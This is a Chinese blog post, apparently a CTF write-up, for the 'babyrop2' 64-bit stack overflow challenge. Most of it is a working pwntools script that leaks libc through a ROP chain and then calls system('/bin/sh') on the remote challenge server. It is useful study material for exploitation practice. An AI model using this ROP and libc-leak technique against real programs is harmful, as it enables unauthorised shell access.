babyrop2

本文探讨了一次针对64位程序的栈溢出攻击,首先通过地址泄露定位目标函数,然后构建ROP链,最终发现flag隐藏在文件中。作者详细展示了使用pwn库和LibcSearcher进行动态链接库搜索和漏洞利用的步骤。
摘要由CSDN通过智能技术生成

本题checksec下是64位栈溢出

还是先进行地址泄露在构建rop链
思路跟之前做的libc泄露一样

唯一比较坑的是打通之后找不到flag 结果找不到 看了大佬的文章才知道是藏在文件中了

在这里插入图片描述

from pwn import *
from LibcSearcher import *

#p = process('./babyrop2')
p = remote('node3.buuoj.cn',27575)
elf = ELF('babyrop2')

pop_rdi = 0x400733
pop_rsi_r15 = 0x400731 
format_str = 0x400770  
ret_addr = 0x400734

printf_plt = elf.plt['printf']
read_got = elf.got['read']
main_plt = elf.sym['main']

payload = 'a'*0x28+p64(pop_rdi)+p64(format_str)+p64(pop_rsi_r15)+p64(read_got)+p64(0)+p64(printf_plt)+p64(main_plt)

p.sendline(payload)


read_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))#接收地址的你看看基本上是7个字节的,7f开头,补全8个字节

libc = LibcSearcher('read', read_addr)
libc_base = read_addr - libc.dump('read')

sys_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')

payload = 'a'*0x28+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)
p.sendline(payload)
p.interactive()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值